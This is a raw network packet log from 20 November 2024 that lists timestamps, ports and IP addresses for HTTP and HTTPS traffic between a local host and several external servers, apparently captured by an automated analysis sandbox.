Nov 20, 2024 14:43:47.036122084 CET	49903	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:47.036175966 CET	49903	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:47.037630081 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.037683010 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.037741899 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.037785053 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.037818909 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.037842989 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.038009882 CET	49903	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:47.038047075 CET	443	49903	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:47.042877913 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.042902946 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.042953014 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.042958021 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.043004990 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.044718027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.044733047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.044791937 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.044874907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.044888973 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.044914007 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.044941902 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.045867920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.045923948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.046051025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.046088934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.046768904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.046812057 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.046906948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.046952009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.047631979 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.047677040 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.047749043 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.047902107 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.048563004 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.048618078 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.048737049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.048778057 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.049463987 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.049643993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.049968958 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.050539970 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.050590992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.050836086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.051031113 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.051748037 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.051901102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.051908016 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.051959991 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.052278996 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.052290916 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.052336931 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.052568913 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.052711010 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.052887917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.052922964 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.053975105 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.054001093 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.054090023 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.054096937 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.054140091 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.054176092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.054188967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.054212093 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.054229021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.054765940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.054805040 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.055058002 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.055104017 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.055377007 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.055423975 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.055457115 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.055463076 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.055496931 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.055521965 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.055690050 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.055757046 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.055845976 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.055922985 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.056483984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.056497097 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.056535959 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.056566000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.057344913 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.057358027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.057387114 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.057420969 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.057447910 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.057890892 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.057929993 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.058115005 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.058130026 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.059041023 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.059104919 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.059415102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.059842110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.059887886 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.059976101 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.060551882 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.060733080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.060776949 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.061017036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.061181068 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.061592102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.061640024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.062800884 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.062827110 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.062875986 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.062886000 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.062916994 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.062944889 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.073631048 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.073664904 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.073730946 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.073760033 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.073776960 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.074103117 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.077928066 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.077948093 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.078098059 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.078115940 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.078177929 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.082756042 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.082781076 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.082854033 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.082880974 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.083128929 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.111133099 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.111148119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.111203909 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.121759892 CET	443	49904	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:47.122584105 CET	49904	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:47.122601986 CET	443	49904	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:47.123296022 CET	49904	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:47.123301029 CET	443	49904	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:47.159311056 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.159336090 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.159404039 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.159449100 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.159497976 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.162203074 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.162255049 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.162292004 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.162328959 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.162343025 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.162373066 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.167243958 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.167260885 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.167332888 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.167344093 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.167536974 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.169732094 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.169775963 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.169804096 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.169827938 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.169847965 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.169909000 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.171495914 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.171546936 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.171581030 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.171608925 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.171622038 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.171777964 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.173705101 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.173718929 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.173758984 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.173768997 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.173816919 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.173816919 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.176740885 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.176791906 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.176815033 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.176831961 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.176851988 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.176872015 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.176942110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.177108049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.177135944 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.177170992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.177506924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.177522898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.177546024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.177575111 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.178067923 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.178111076 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.178119898 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.178188086 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.178807020 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.178852081 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.178875923 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.178881884 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.178906918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.178944111 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.178966045 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.178986073 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.179585934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.179836035 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.179896116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.179915905 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.179939985 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.181540966 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.181551933 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.181603909 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.184554100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.184567928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.184583902 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.184601068 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.184611082 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.184612036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.184632063 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.184667110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.184668064 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.184676886 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.184679985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.184689999 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.184689999 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.184709072 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.184739113 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.185039997 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.185637951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.185651064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.185709953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.186606884 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.186656952 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.186769009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.186810970 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.186942101 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.186990976 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.187028885 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.187047005 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.187071085 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.187086105 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.187403917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.187453985 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.187758923 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.187802076 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.188263893 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.188277006 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.188323975 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.188353062 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.188724995 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.188783884 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.188824892 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.188831091 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.188842058 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.188931942 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.189069986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.189254999 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.189307928 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.189336061 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.189352036 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.189383030 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.189392090 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.189410925 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.189429998 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.190058947 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.190084934 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.190108061 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.190140963 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.190917969 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.190987110 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.191049099 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.191095114 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.191871881 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.191884995 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.191929102 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.192717075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.192729950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.192774057 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.193520069 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.193531990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.193574905 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.194811106 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.194823980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.194866896 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.195105076 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.195156097 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.195178986 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.195197105 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.195214033 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.195234060 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.195354939 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.195521116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.195569992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.196208954 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.196254015 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.196304083 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.196310997 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.196337938 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.196346998 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.196666002 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.196680069 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.196715117 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.196729898 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.196768045 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.196785927 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.196830034 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.196840048 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.196861029 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.196888924 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.197313070 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.197326899 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.197371006 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.198113918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.198127031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.198225021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.198926926 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.198977947 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.199064016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.199101925 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.199822903 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.199843884 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.199893951 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.200833082 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.200846910 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.200886011 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.200917959 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.201811075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.201936960 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.201997042 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.202545881 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.202727079 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.202786922 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.203115940 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.203144073 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.203197956 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.203214884 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.203231096 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.203252077 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.203383923 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.203435898 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.203532934 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:47.203596115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:47.203636885 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.203655005 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.203715086 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.203725100 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.203779936 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.203814983 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.203824043 CET	443	49894	150.171.27.10	192.168.2.6
